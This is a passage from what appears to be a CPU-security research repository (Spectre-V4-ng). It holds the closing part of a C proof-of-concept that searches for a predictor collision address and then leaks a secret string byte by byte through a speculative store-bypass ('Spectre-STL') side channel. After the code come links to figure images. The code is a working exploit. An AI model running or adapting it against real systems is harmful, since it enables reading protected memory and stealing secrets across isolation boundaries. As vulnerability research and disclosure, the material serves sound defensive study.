309 | for (int i = 0; i < EXE_PAGE_SIZE; i ++)
310 | executable_page_1[i] ^= temp;
311 |
312 | // Create address mapping for array2.
313 | for (size_t i = 0; i < 256 * CACHE_ST; i ++)
314 | array2[i] = 0;
315 |
316 | // Initialize the values for the collision finding algorithm.
317 | array2[0] = 0;
318 | array1[10] = 10;
319 | array1[0] = 10;
320 |
321 | // Search PSFP collision address.
322 | printf("Search offset of prime entry:\n");
323 | int psfp_handler_entry_offset = search_for_collision(executable_page_1);
324 |
325 | // Check search result.
326 | if (psfp_handler_entry_offset == -1) {
327 | printf("Cannot find prime entry, please try again.\n");
328 | return 0;
329 | }
330 | psfp_handler_entry = (void*) executable_page_1 + psfp_handler_entry_offset;
331 |
332 | // Leak Secret through out-of-place Spectre-STL Attack, the framework is adapted from Eugnis' code.
333 | printf("Putting '%s' in memory, address %p\n", secret, (void *)(secret));
334 | size_t malicious_x = (size_t)(secret - (char *)array1), secret_base = (size_t)(secret);
335 | int score[2], len = LEAK_LEN;
336 | uint8_t value[2];
337 | printf("Reading %d bytes:\n", len);
338 | while (-- len >= 0) {
339 | printf("Reading at address = 0x%lx... ", secret_base ++);
340 | leak(malicious_x ++, value, score);
341 | printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
342 | printf("0x%02X='%c' score=%d ", value[0],
343 | (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
344 | if (score[1] > 0)
345 | printf("(second best: 0x%02X='%c' score=%d)", value[1],
346 | (value[1] > 31 && value[1] < 127 ? value[1] : '?'),
347 | score[1]);
348 | printf("\n");
349 | }
350 | return (0);
351 | }
--------------------------------------------------------------------------------
/figures/Collision-Finding.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CPU-Security/Spectre-V4-ng/18feaa60a41191d463446a5b02a3d085ca1d7b98/figures/Collision-Finding.png
--------------------------------------------------------------------------------
/figures/Spectre-CTL.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CPU-Security/Spectre-V4-ng/18feaa60a41191d463446a5b02a3d085ca1d7b98/figures/Spectre-CTL.png
--------------------------------------------------------------------------------
/figures/Transient-Attack.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CPU-Security/Spectre-V4-ng/18feaa60a41191d463446a5b02a3d085ca1d7b98/figures/Transient-Attack.png
--------------------------------------------------------------------------------